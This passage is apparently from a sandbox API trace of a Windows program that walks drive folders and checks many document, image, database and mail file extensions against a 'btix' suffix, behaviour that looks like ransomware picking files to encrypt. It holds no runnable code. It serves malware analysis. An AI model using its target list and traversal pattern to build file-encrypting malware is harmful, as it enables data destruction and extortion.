lpString2="btix") returned -1 [0126.422] lstrlenW (lpString=".bay") returned 4 [0126.422] lstrcmpiW (lpString1=".bay", lpString2="btix") returned -1 [0126.422] lstrlenW (lpString=".bd") returned 3 [0126.422] lstrcmpiW (lpString1=".bd", lpString2="tix") returned -1 [0126.422] lstrlenW (lpString=".bin") returned 4 [0126.422] lstrcmpiW (lpString1=".bin", lpString2="btix") returned -1 [0126.422] lstrlenW (lpString=".bmp") returned 4 [0126.422] lstrcmpiW (lpString1=".bmp", lpString2="btix") returned -1 [0126.422] lstrlenW (lpString=".bz2") returned 4 [0126.422] lstrcmpiW (lpString1=".bz2", lpString2="btix") returned -1 [0126.422] lstrlenW (lpString=".c") returned 2 [0126.422] lstrcmpiW (lpString1=".c", lpString2="ix") returned -1 [0126.422] lstrlenW (lpString=".cdr") returned 4 [0126.422] lstrcmpiW (lpString1=".cdr", lpString2="btix") returned -1 [0126.422] lstrlenW (lpString=".cer") returned 4 [0126.422] lstrcmpiW (lpString1=".cer", lpString2="btix") returned -1 [0126.422] lstrlenW (lpString=".cf") returned 3 [0126.422] lstrcmpiW (lpString1=".cf", lpString2="tix") returned -1 [0126.422] lstrlenW (lpString=".cfc") returned 4 [0126.422] lstrcmpiW (lpString1=".cfc", lpString2="btix") returned -1 [0126.422] lstrlenW (lpString=".cfm") returned 4 [0126.422] lstrcmpiW (lpString1=".cfm", lpString2="btix") returned -1 [0126.423] lstrlenW (lpString=".cfml") returned 5 [0126.423] lstrcmpiW (lpString1=".cfml", lpString2=".btix") returned 1 [0126.423] lstrlenW (lpString=".cfu") returned 4 [0126.423] lstrcmpiW (lpString1=".cfu", lpString2="btix") returned -1 [0126.423] lstrlenW (lpString=".chm") returned 4 [0126.423] lstrcmpiW (lpString1=".chm", lpString2="btix") returned -1 [0126.423] lstrlenW (lpString=".cin") returned 4 [0126.423] lstrcmpiW (lpString1=".cin", lpString2="btix") returned -1 [0126.423] lstrlenW (lpString=".class") returned 6 [0126.423] lstrcmpiW (lpString1=".class", lpString2="].btix") returned -1 [0126.423] lstrlenW (lpString=".clx") returned 4 [0126.423] lstrcmpiW (lpString1=".clx", lpString2="btix") returned -1 [0126.423] lstrlenW (lpString=".config") returned 7 [0126.423] lstrcmpiW (lpString1=".config", lpString2="i].btix") returned -1 [0126.423] lstrlenW (lpString=".cpp") returned 4 [0126.423] lstrcmpiW (lpString1=".cpp", lpString2="btix") returned -1 [0126.423] lstrlenW (lpString=".cr2") returned 4 [0126.423] lstrcmpiW (lpString1=".cr2", lpString2="btix") returned -1 [0126.423] lstrlenW (lpString=".crt") returned 4 [0126.423] lstrcmpiW (lpString1=".crt", lpString2="btix") returned -1 [0126.423] lstrlenW (lpString=".crw") returned 4 [0126.423] lstrcmpiW (lpString1=".crw", lpString2="btix") returned -1 [0126.423] lstrlenW (lpString=".cs") returned 3 [0126.423] lstrcmpiW (lpString1=".cs", lpString2="tix") returned -1 [0126.423] lstrlenW (lpString=".css") returned 4 [0126.423] lstrcmpiW (lpString1=".css", lpString2="btix") returned -1 [0126.423] lstrlenW (lpString=".csv") returned 4 [0126.423] lstrcmpiW (lpString1=".csv", lpString2="btix") returned -1 [0126.423] lstrlenW (lpString=".cub") returned 4 [0126.423] lstrcmpiW (lpString1=".cub", lpString2="btix") returned -1 [0126.423] lstrlenW (lpString=".dae") returned 4 [0126.423] lstrcmpiW (lpString1=".dae", lpString2="btix") returned -1 [0126.423] lstrlenW (lpString=".dat") returned 4 [0126.423] lstrcmpiW (lpString1=".dat", lpString2="btix") returned -1 [0126.423] lstrlenW (lpString=".db") returned 3 [0126.424] lstrcmpiW (lpString1=".db", lpString2="tix") returned -1 [0126.424] lstrlenW (lpString=".dbf") returned 4 [0126.424] lstrcmpiW (lpString1=".dbf", lpString2="btix") returned -1 [0126.424] lstrlenW (lpString=".dbx") returned 4 [0126.424] lstrcmpiW (lpString1=".dbx", lpString2="btix") returned -1 [0126.424] lstrlenW (lpString=".dc3") returned 4 [0126.424] lstrcmpiW (lpString1=".dc3", lpString2="btix") returned -1 [0126.424] lstrlenW (lpString=".dcm") returned 4 [0126.424] lstrcmpiW (lpString1=".dcm", lpString2="btix") returned -1 [0126.424] lstrlenW (lpString=".dcr") returned 4 [0126.424] lstrcmpiW (lpString1=".dcr", lpString2="btix") returned -1 [0126.424] lstrlenW (lpString=".der") returned 4 [0126.424] lstrcmpiW (lpString1=".der", lpString2="btix") returned -1 [0126.424] lstrlenW (lpString=".dib") returned 4 [0126.424] lstrcmpiW (lpString1=".dib", lpString2="btix") returned -1 [0126.424] lstrlenW (lpString=".dic") returned 4 [0126.424] lstrcmpiW (lpString1=".dic", lpString2="btix") returned -1 [0126.424] lstrlenW (lpString=".dif") returned 4 [0126.424] lstrcmpiW (lpString1=".dif", lpString2="btix") returned -1 [0126.424] lstrlenW (lpString=".divx") returned 5 [0126.424] lstrcmpiW (lpString1=".divx", lpString2=".btix") returned 1 [0126.424] lstrlenW (lpString=".djvu") returned 5 [0126.424] lstrcmpiW (lpString1=".djvu", lpString2=".btix") returned 1 [0126.424] lstrlenW (lpString=".dng") returned 4 [0126.424] lstrcmpiW (lpString1=".dng", lpString2="btix") returned -1 [0126.424] lstrlenW (lpString=".doc") returned 4 [0126.424] lstrcmpiW (lpString1=".doc", lpString2="btix") returned -1 [0126.424] lstrlenW (lpString=".docm") returned 5 [0126.424] lstrcmpiW (lpString1=".docm", lpString2=".btix") returned 1 [0126.424] lstrlenW (lpString=".docx") returned 5 [0126.424] lstrcmpiW (lpString1=".docx", lpString2=".btix") returned 1 [0126.424] lstrlenW (lpString=".dot") returned 4 [0126.424] lstrcmpiW (lpString1=".dot", lpString2="btix") returned -1 [0126.424] lstrlenW (lpString=".dotm") returned 5 [0126.424] lstrcmpiW (lpString1=".dotm", lpString2=".btix") returned 1 [0126.424] lstrlenW (lpString=".dotx") returned 5 [0126.424] lstrcmpiW (lpString1=".dotx", lpString2=".btix") returned 1 [0126.424] lstrlenW (lpString=".dpx") returned 4 [0126.425] lstrcmpiW (lpString1=".dpx", lpString2="btix") returned -1 [0126.425] lstrlenW (lpString=".dqy") returned 4 [0126.425] lstrcmpiW (lpString1=".dqy", lpString2="btix") returned -1 [0126.425] lstrlenW (lpString=".dsn") returned 4 [0126.425] lstrcmpiW (lpString1=".dsn", lpString2="btix") returned -1 [0126.425] lstrlenW (lpString=".dt") returned 3 [0126.425] lstrcmpiW (lpString1=".dt", lpString2="tix") returned -1 [0126.425] lstrlenW (lpString=".dtd") returned 4 [0126.425] lstrcmpiW (lpString1=".dtd", lpString2="btix") returned -1 [0126.425] lstrlenW (lpString=".dwg") returned 4 [0126.425] lstrcmpiW (lpString1=".dwg", lpString2="btix") returned -1 [0126.425] lstrlenW (lpString=".dwt") returned 4 [0126.425] lstrcmpiW (lpString1=".dwt", lpString2="btix") returned -1 [0126.425] lstrlenW (lpString=".dx") returned 3 [0126.425] lstrcmpiW (lpString1=".dx", lpString2="tix") returned -1 [0126.425] lstrlenW (lpString=".dxf") returned 4 [0126.425] lstrcmpiW (lpString1=".dxf", lpString2="btix") returned -1 [0126.425] lstrlenW (lpString=".edml") returned 5 [0126.425] lstrcmpiW (lpString1=".edml", lpString2=".btix") returned 1 [0126.425] lstrlenW (lpString=".efd") returned 4 [0126.425] lstrcmpiW (lpString1=".efd", lpString2="btix") returned -1 [0126.425] lstrlenW (lpString=".elf") returned 4 [0126.425] lstrcmpiW (lpString1=".elf", lpString2="btix") returned -1 [0126.425] lstrlenW (lpString=".emf") returned 4 [0126.425] lstrcmpiW (lpString1=".emf", lpString2="btix") returned -1 [0126.425] lstrlenW (lpString=".emz") returned 4 [0126.425] lstrcmpiW (lpString1=".emz", lpString2="btix") returned -1 [0126.425] lstrlenW (lpString=".epf") returned 4 [0126.425] lstrcmpiW (lpString1=".epf", lpString2="btix") returned -1 [0126.425] lstrlenW (lpString=".eps") returned 4 [0126.425] lstrcmpiW (lpString1=".eps", lpString2="btix") returned -1 [0126.425] lstrlenW (lpString=".epsf") returned 5 [0126.425] lstrcmpiW (lpString1=".epsf", lpString2=".btix") returned 1 [0126.425] lstrlenW (lpString=".epsp") returned 5 [0126.425] lstrcmpiW (lpString1=".epsp", lpString2=".btix") returned 1 [0126.425] lstrlenW (lpString=".erf") returned 4 [0126.425] lstrcmpiW (lpString1=".erf", lpString2="btix") returned -1 [0126.425] lstrlenW (lpString=".exr") returned 4 [0126.426] lstrcmpiW (lpString1=".exr", lpString2="btix") returned -1 [0126.426] lstrlenW (lpString=".f4v") returned 4 [0126.426] lstrcmpiW (lpString1=".f4v", lpString2="btix") returned -1 [0126.426] lstrlenW (lpString=".fido") returned 5 [0126.426] lstrcmpiW (lpString1=".fido", lpString2=".btix") returned 1 [0126.426] lstrlenW (lpString=".flm") returned 4 [0126.426] lstrcmpiW (lpString1=".flm", lpString2="btix") returned -1 [0126.426] lstrlenW (lpString=".flv") returned 4 [0126.426] lstrcmpiW (lpString1=".flv", lpString2="btix") returned -1 [0126.426] lstrlenW (lpString=".frm") returned 4 [0126.426] lstrcmpiW (lpString1=".frm", lpString2="btix") returned -1 [0126.426] lstrlenW (lpString=".fxg") returned 4 [0126.426] lstrcmpiW (lpString1=".fxg", lpString2="btix") returned -1 [0126.426] lstrlenW (lpString=".geo") returned 4 [0126.426] lstrcmpiW (lpString1=".geo", lpString2="btix") returned -1 [0126.426] lstrlenW (lpString=".gif") returned 4 [0126.426] lstrcmpiW (lpString1=".gif", lpString2="btix") returned -1 [0126.426] lstrlenW (lpString=".grs") returned 4 [0126.426] lstrcmpiW (lpString1=".grs", lpString2="btix") returned -1 [0126.426] lstrlenW (lpString=".gz") returned 3 [0126.426] lstrcmpiW (lpString1=".gz", lpString2="tix") returned -1 [0126.426] lstrlenW (lpString=".h") returned 2 [0126.426] lstrcmpiW (lpString1=".h", lpString2="ix") returned -1 [0126.426] lstrlenW (lpString=".hdr") returned 4 [0126.426] lstrcmpiW (lpString1=".hdr", lpString2="btix") returned -1 [0126.426] lstrlenW (lpString=".hpp") returned 4 [0126.426] lstrcmpiW (lpString1=".hpp", lpString2="btix") returned -1 [0126.426] lstrlenW (lpString=".hta") returned 4 [0126.426] lstrcmpiW (lpString1=".hta", lpString2="btix") returned -1 [0126.426] lstrlenW (lpString=".htc") returned 4 [0126.426] lstrcmpiW (lpString1=".htc", lpString2="btix") returned -1 [0126.426] lstrlenW (lpString=".htm") returned 4 [0126.426] lstrcmpiW (lpString1=".htm", lpString2="btix") returned -1 [0126.426] lstrlenW (lpString=".html") returned 5 [0126.426] lstrcmpiW (lpString1=".html", lpString2=".btix") returned 1 [0126.426] lstrlenW (lpString=".icb") returned 4 [0126.426] lstrcmpiW (lpString1=".icb", lpString2="btix") returned -1 [0126.426] lstrlenW (lpString=".ics") returned 4 [0126.427] lstrcmpiW (lpString1=".ics", lpString2="btix") returned -1 [0126.427] lstrlenW (lpString=".iff") returned 4 [0126.427] lstrcmpiW (lpString1=".iff", lpString2="btix") returned -1 [0126.427] lstrlenW (lpString=".inc") returned 4 [0126.427] lstrcmpiW (lpString1=".inc", lpString2="btix") returned -1 [0126.427] lstrlenW (lpString=".indd") returned 5 [0126.427] lstrcmpiW (lpString1=".indd", lpString2=".btix") returned 1 [0126.427] lstrlenW (lpString=".ini") returned 4 [0126.427] lstrcmpiW (lpString1=".ini", lpString2="btix") returned -1 [0126.427] lstrlenW (lpString=".iqy") returned 4 [0126.427] lstrcmpiW (lpString1=".iqy", lpString2="btix") returned -1 [0126.427] lstrlenW (lpString=".j2c") returned 4 [0126.427] lstrcmpiW (lpString1=".j2c", lpString2="btix") returned -1 [0126.427] lstrlenW (lpString=".j2k") returned 4 [0126.427] lstrcmpiW (lpString1=".j2k", lpString2="btix") returned -1 [0126.427] lstrlenW (lpString=".java") returned 5 [0126.427] lstrcmpiW (lpString1=".java", lpString2=".btix") returned 1 [0126.427] lstrlenW (lpString=".jp2") returned 4 [0126.427] lstrcmpiW (lpString1=".jp2", lpString2="btix") returned -1 [0126.427] lstrlenW (lpString=".jpc") returned 4 [0126.427] lstrcmpiW (lpString1=".jpc", lpString2="btix") returned -1 [0126.427] lstrlenW (lpString=".jpe") returned 4 [0126.427] lstrcmpiW (lpString1=".jpe", lpString2="btix") returned -1 [0126.427] lstrlenW (lpString=".jpeg") returned 5 [0126.427] lstrcmpiW (lpString1=".jpeg", lpString2=".btix") returned 1 [0126.427] lstrlenW (lpString=".jpf") returned 4 [0126.427] lstrcmpiW (lpString1=".jpf", lpString2="btix") returned -1 [0126.427] lstrlenW (lpString=".jpg") returned 4 [0126.427] lstrcmpiW (lpString1=".jpg", lpString2="btix") returned -1 [0126.427] lstrlenW (lpString=".jpx") returned 4 [0126.427] lstrcmpiW (lpString1=".jpx", lpString2="btix") returned -1 [0126.427] lstrlenW (lpString=".js") returned 3 [0126.427] lstrcmpiW (lpString1=".js", lpString2="tix") returned -1 [0126.427] lstrlenW (lpString=".jsf") returned 4 [0126.427] lstrcmpiW (lpString1=".jsf", lpString2="btix") returned -1 [0126.427] lstrlenW (lpString=".json") returned 5 [0126.427] lstrcmpiW (lpString1=".json", lpString2=".btix") returned 1 [0126.427] lstrlenW (lpString=".jsp") returned 4 [0126.427] lstrcmpiW (lpString1=".jsp", lpString2="btix") returned -1 [0126.428] lstrlenW (lpString=".kdc") returned 4 [0126.428] lstrcmpiW (lpString1=".kdc", lpString2="btix") returned -1 [0126.428] lstrlenW (lpString=".kmz") returned 4 [0126.428] lstrcmpiW (lpString1=".kmz", lpString2="btix") returned -1 [0126.428] lstrlenW (lpString=".kwm") returned 4 [0126.428] lstrcmpiW (lpString1=".kwm", lpString2="btix") returned -1 [0126.428] lstrlenW (lpString=".lasso") returned 6 [0126.428] lstrcmpiW (lpString1=".lasso", lpString2="].btix") returned -1 [0126.428] lstrlenW (lpString=".lbi") returned 4 [0126.428] lstrcmpiW (lpString1=".lbi", lpString2="btix") returned -1 [0126.428] lstrlenW (lpString=".lgf") returned 4 [0126.428] lstrcmpiW (lpString1=".lgf", lpString2="btix") returned -1 [0126.428] lstrlenW (lpString=".lgp") returned 4 [0126.428] lstrcmpiW (lpString1=".lgp", lpString2="btix") returned -1 [0126.428] lstrlenW (lpString=".log") returned 4 [0126.428] lstrcmpiW (lpString1=".log", lpString2="btix") returned -1 [0126.428] lstrlenW (lpString=".m1v") returned 4 [0126.428] lstrcmpiW (lpString1=".m1v", lpString2="btix") returned -1 [0126.428] lstrlenW (lpString=".m4a") returned 4 [0126.428] lstrcmpiW (lpString1=".m4a", lpString2="btix") returned -1 [0126.428] lstrlenW (lpString=".m4v") returned 4 [0126.428] lstrcmpiW (lpString1=".m4v", lpString2="btix") returned -1 [0126.428] lstrlenW (lpString=".max") returned 4 [0126.428] lstrcmpiW (lpString1=".max", lpString2="btix") returned -1 [0126.428] lstrlenW (lpString=".md") returned 3 [0126.428] lstrcmpiW (lpString1=".md", lpString2="tix") returned -1 [0126.428] lstrlenW (lpString=".mda") returned 4 [0126.428] lstrcmpiW (lpString1=".mda", lpString2="btix") returned -1 [0126.428] lstrlenW (lpString=".mdb") returned 4 [0126.428] lstrcmpiW (lpString1=".mdb", lpString2="btix") returned -1 [0126.428] lstrlenW (lpString=".mde") returned 4 [0126.428] lstrcmpiW (lpString1=".mde", lpString2="btix") returned -1 [0126.428] lstrlenW (lpString=".mdf") returned 4 [0126.428] lstrcmpiW (lpString1=".mdf", lpString2="btix") returned -1 [0126.428] lstrlenW (lpString=".mdw") returned 4 [0126.428] lstrcmpiW (lpString1=".mdw", lpString2="btix") returned -1 [0126.428] lstrlenW (lpString=".mef") returned 4 [0126.428] lstrcmpiW (lpString1=".mef", lpString2="btix") returned -1 [0126.429] lstrlenW (lpString=".mft") returned 4 [0126.429] lstrcmpiW (lpString1=".mft", lpString2="btix") returned -1 [0126.429] lstrlenW (lpString=".mfw") returned 4 [0126.429] lstrcmpiW (lpString1=".mfw", lpString2="btix") returned -1 [0126.429] lstrlenW (lpString=".mht") returned 4 [0126.429] lstrcmpiW (lpString1=".mht", lpString2="btix") returned -1 [0126.429] lstrlenW (lpString=".mhtml") returned 6 [0126.429] lstrcmpiW (lpString1=".mhtml", lpString2="].btix") returned -1 [0126.429] lstrlenW (lpString=".mka") returned 4 [0126.429] lstrcmpiW (lpString1=".mka", lpString2="btix") returned -1 [0126.429] lstrlenW (lpString=".mkidx") returned 6 [0126.429] lstrcmpiW (lpString1=".mkidx", lpString2="].btix") returned -1 [0126.429] lstrlenW (lpString=".mkv") returned 4 [0126.429] lstrcmpiW (lpString1=".mkv", lpString2="btix") returned -1 [0126.429] lstrlenW (lpString=".mos") returned 4 [0126.429] lstrcmpiW (lpString1=".mos", lpString2="btix") returned -1 [0126.429] lstrlenW (lpString=".mov") returned 4 [0126.429] lstrcmpiW (lpString1=".mov", lpString2="btix") returned -1 [0126.429] lstrlenW (lpString=".mp3") returned 4 [0126.429] lstrcmpiW (lpString1=".mp3", lpString2="btix") returned -1 [0126.429] lstrlenW (lpString=".mp4") returned 4 [0126.429] lstrcmpiW (lpString1=".mp4", lpString2="btix") returned -1 [0126.429] lstrlenW (lpString=".mpeg") returned 5 [0126.429] lstrcmpiW (lpString1=".mpeg", lpString2=".btix") returned 1 [0126.429] lstrlenW (lpString=".mpg") returned 4 [0126.429] lstrcmpiW (lpString1=".mpg", lpString2="btix") returned -1 [0126.429] lstrlenW (lpString=".mpv") returned 4 [0126.429] lstrcmpiW (lpString1=".mpv", lpString2="btix") returned -1 [0126.429] lstrlenW (lpString=".mrw") returned 4 [0126.429] lstrcmpiW (lpString1=".mrw", lpString2="btix") returned -1 [0126.429] lstrlenW (lpString=".msg") returned 4 [0126.429] lstrcmpiW (lpString1=".msg", lpString2="btix") returned -1 [0126.429] lstrlenW (lpString=".mxl") returned 4 [0126.429] lstrcmpiW (lpString1=".mxl", lpString2="btix") returned -1 [0126.429] lstrlenW (lpString=".myd") returned 4 [0126.429] lstrcmpiW (lpString1=".myd", lpString2="btix") returned -1 [0126.429] lstrlenW (lpString=".myi") returned 4 [0126.429] lstrcmpiW (lpString1=".myi", lpString2="btix") returned -1 [0126.430] lstrlenW (lpString=".nef") returned 4 [0126.430] lstrcmpiW (lpString1=".nef", lpString2="btix") returned -1 [0126.430] lstrlenW (lpString=".nrw") returned 4 [0126.430] lstrcmpiW (lpString1=".nrw", lpString2="btix") returned -1 [0126.430] lstrlenW (lpString=".obj") returned 4 [0126.430] lstrcmpiW (lpString1=".obj", lpString2="btix") returned -1 [0126.430] lstrlenW (lpString=".odb") returned 4 [0126.430] lstrcmpiW (lpString1=".odb", lpString2="btix") returned -1 [0126.430] lstrlenW (lpString=".odc") returned 4 [0126.430] lstrcmpiW (lpString1=".odc", lpString2="btix") returned -1 [0126.430] lstrlenW (lpString=".odm") returned 4 [0126.430] lstrcmpiW (lpString1=".odm", lpString2="btix") returned -1 [0126.430] lstrlenW (lpString=".odp") returned 4 [0126.430] lstrcmpiW (lpString1=".odp", lpString2="btix") returned -1 [0126.430] lstrlenW (lpString=".ods") returned 4 [0126.430] lstrcmpiW (lpString1=".ods", lpString2="btix") returned -1 [0126.430] lstrlenW (lpString=".oft") returned 4 [0126.430] lstrcmpiW (lpString1=".oft", lpString2="btix") returned -1 [0126.430] lstrlenW (lpString=".one") returned 4 [0126.430] lstrcmpiW (lpString1=".one", lpString2="btix") returned -1 [0126.430] lstrlenW (lpString=".onepkg") returned 7 [0126.430] lstrcmpiW (lpString1=".onepkg", lpString2="i].btix") returned -1 [0126.430] lstrlenW (lpString=".onetoc2") returned 8 [0126.430] lstrcmpiW (lpString1=".onetoc2", lpString2="li].btix") returned -1 [0126.430] lstrlenW (lpString=".opt") returned 4 [0126.430] lstrcmpiW (lpString1=".opt", lpString2="btix") returned -1 [0126.430] lstrlenW (lpString=".oqy") returned 4 [0126.430] lstrcmpiW (lpString1=".oqy", lpString2="btix") returned -1 [0126.430] lstrlenW (lpString=".orf") returned 4 [0126.430] lstrcmpiW (lpString1=".orf", lpString2="btix") returned -1 [0126.430] lstrlenW (lpString=".p12") returned 4 [0126.430] lstrcmpiW (lpString1=".p12", lpString2="btix") returned -1 [0126.430] lstrlenW (lpString=".p7b") returned 4 [0126.430] lstrcmpiW (lpString1=".p7b", lpString2="btix") returned -1 [0126.430] lstrlenW (lpString=".p7c") returned 4 [0126.430] lstrcmpiW (lpString1=".p7c", lpString2="btix") returned -1 [0126.430] lstrlenW (lpString=".pam") returned 4 [0126.430] lstrcmpiW (lpString1=".pam", lpString2="btix") returned -1 [0126.431] lstrlenW (lpString=".pbm") returned 4 [0126.431] lstrcmpiW (lpString1=".pbm", lpString2="btix") returned -1 [0126.431] lstrlenW (lpString=".pct") returned 4 [0126.431] lstrcmpiW (lpString1=".pct", lpString2="btix") returned -1 [0126.431] lstrlenW (lpString=".pcx") returned 4 [0126.431] lstrcmpiW (lpString1=".pcx", lpString2="btix") returned -1 [0126.431] lstrlenW (lpString=".pdd") returned 4 [0126.431] lstrcmpiW (lpString1=".pdd", lpString2="btix") returned -1 [0126.431] lstrlenW (lpString=".pdf") returned 4 [0126.431] lstrcmpiW (lpString1=".pdf", lpString2="btix") returned -1 [0126.431] lstrlenW (lpString=".pdp") returned 4 [0126.431] lstrcmpiW (lpString1=".pdp", lpString2="btix") returned -1 [0126.431] lstrlenW (lpString=".pef") returned 4 [0126.431] lstrcmpiW (lpString1=".pef", lpString2="btix") returned -1 [0126.431] lstrlenW (lpString=".pem") returned 4 [0126.431] lstrcmpiW (lpString1=".pem", lpString2="btix") returned -1 [0126.431] lstrlenW (lpString=".pff") returned 4 [0126.431] lstrcmpiW (lpString1=".pff", lpString2="btix") returned -1 [0126.431] lstrlenW (lpString=".pfm") returned 4 [0126.431] lstrcmpiW (lpString1=".pfm", lpString2="btix") returned -1 [0126.431] lstrlenW (lpString=".pfx") returned 4 [0126.431] lstrcmpiW (lpString1=".pfx", lpString2="btix") returned -1 [0126.431] lstrlenW (lpString=".pgm") returned 4 [0126.431] lstrcmpiW (lpString1=".pgm", lpString2="btix") returned -1 [0126.431] lstrlenW (lpString=".php") returned 4 [0126.431] lstrcmpiW (lpString1=".php", lpString2="btix") returned -1 [0126.431] lstrlenW (lpString=".php3") returned 5 [0126.431] lstrcmpiW (lpString1=".php3", lpString2=".btix") returned 1 [0126.431] lstrlenW (lpString=".php4") returned 5 [0126.431] lstrcmpiW (lpString1=".php4", lpString2=".btix") returned 1 [0126.431] lstrlenW (lpString=".php5") returned 5 [0126.431] lstrcmpiW (lpString1=".php5", lpString2=".btix") returned 1 [0126.431] lstrlenW (lpString=".phtml") returned 6 [0126.431] lstrcmpiW (lpString1=".phtml", lpString2="].btix") returned -1 [0126.431] lstrlenW (lpString=".pict") returned 5 [0126.431] lstrcmpiW (lpString1=".pict", lpString2=".btix") returned 1 [0126.431] lstrlenW (lpString=".pl") returned 3 [0126.431] lstrcmpiW (lpString1=".pl", lpString2="tix") returned -1 [0126.432] lstrlenW (lpString=".pls") returned 4 [0126.432] lstrcmpiW (lpString1=".pls", lpString2="btix") returned -1 [0126.432] lstrlenW (lpString=".pm") returned 3 [0126.432] lstrcmpiW (lpString1=".pm", lpString2="tix") returned -1 [0126.432] lstrlenW (lpString=".png") returned 4 [0126.432] lstrcmpiW (lpString1=".png", lpString2="btix") returned -1 [0126.432] lstrlenW (lpString=".pnm") returned 4 [0126.432] lstrcmpiW (lpString1=".pnm", lpString2="btix") returned -1 [0126.432] lstrlenW (lpString=".pot") returned 4 [0126.432] lstrcmpiW (lpString1=".pot", lpString2="btix") returned -1 [0126.432] lstrlenW (lpString=".potm") returned 5 [0126.432] lstrcmpiW (lpString1=".potm", lpString2=".btix") returned 1 [0126.432] lstrlenW (lpString=".potx") returned 5 [0126.432] lstrcmpiW (lpString1=".potx", lpString2=".btix") returned 1 [0126.432] lstrlenW (lpString=".ppa") returned 4 [0126.432] lstrcmpiW (lpString1=".ppa", lpString2="btix") returned -1 [0126.432] lstrlenW (lpString=".ppam") returned 5 [0126.432] lstrcmpiW (lpString1=".ppam", lpString2=".btix") returned 1 [0126.432] lstrlenW (lpString=".ppm") returned 4 [0126.432] lstrcmpiW (lpString1=".ppm", lpString2="btix") returned -1 [0126.432] lstrlenW (lpString=".pps") returned 4 [0126.432] lstrcmpiW (lpString1=".pps", lpString2="btix") returned -1 [0126.432] lstrlenW (lpString=".ppsm") returned 5 [0126.432] lstrcmpiW (lpString1=".ppsm", lpString2=".btix") returned 1 [0126.432] lstrlenW (lpString=".ppt") returned 4 [0126.432] lstrcmpiW (lpString1=".ppt", lpString2="btix") returned -1 [0126.432] lstrlenW (lpString=".pptm") returned 5 [0126.432] lstrcmpiW (lpString1=".pptm", lpString2=".btix") returned 1 [0126.432] lstrlenW (lpString=".pptx") returned 5 [0126.432] lstrcmpiW (lpString1=".pptx", lpString2=".btix") returned 1 [0126.432] lstrlenW (lpString=".prn") returned 4 [0126.432] lstrcmpiW (lpString1=".prn", lpString2="btix") returned -1 [0126.432] lstrlenW (lpString=".ps") returned 3 [0126.432] lstrcmpiW (lpString1=".ps", lpString2="tix") returned -1 [0126.432] lstrlenW (lpString=".psb") returned 4 [0126.432] lstrcmpiW (lpString1=".psb", lpString2="btix") returned -1 [0126.432] lstrlenW (lpString=".psd") returned 4 [0126.432] lstrcmpiW (lpString1=".psd", lpString2="btix") returned -1 [0126.433] lstrlenW (lpString=".pst") returned 4 [0126.433] lstrcmpiW (lpString1=".pst", lpString2="btix") returned -1 [0126.433] lstrlenW (lpString=".ptx") returned 4 [0126.433] lstrcmpiW (lpString1=".ptx", lpString2="btix") returned -1 [0126.433] lstrlenW (lpString=".pub") returned 4 [0126.433] lstrcmpiW (lpString1=".pub", lpString2="btix") returned -1 [0126.433] lstrlenW (lpString=".pwm") returned 4 [0126.433] lstrcmpiW (lpString1=".pwm", lpString2="btix") returned -1 [0126.433] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.433] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.433] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0126.433] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.434] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f1738 | out: hHeap=0x510000) returned 1 [0126.434] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0126.434] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f1738 [0126.434] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0x52a6c0 [0126.434] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.434] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.435] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.435] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.435] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.435] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0126.435] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0 [0126.435] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.436] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f1738 | out: hHeap=0x510000) returned 1 [0126.436] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 0 [0126.436] FindClose (in: hFindFile=0x52a680 | out: hFindFile=0x52a680) returned 1 [0126.436] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43e0728 | out: hHeap=0x510000) returned 1 [0126.436] FindNextFileW (in: hFindFile=0x52a380, lpFindFileData=0x3a0fcf8 | out: lpFindFileData=0x3a0fcf8) returned 1 [0126.437] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43e0728 [0126.437] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 0x52a680 [0126.437] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0126.437] FindNextFileW (in: hFindFile=0x52a680, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0126.437] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x43f0730 [0126.438] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 0xffffffff [0126.438] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0126.438] FindNextFileW (in: hFindFile=0x52a680, 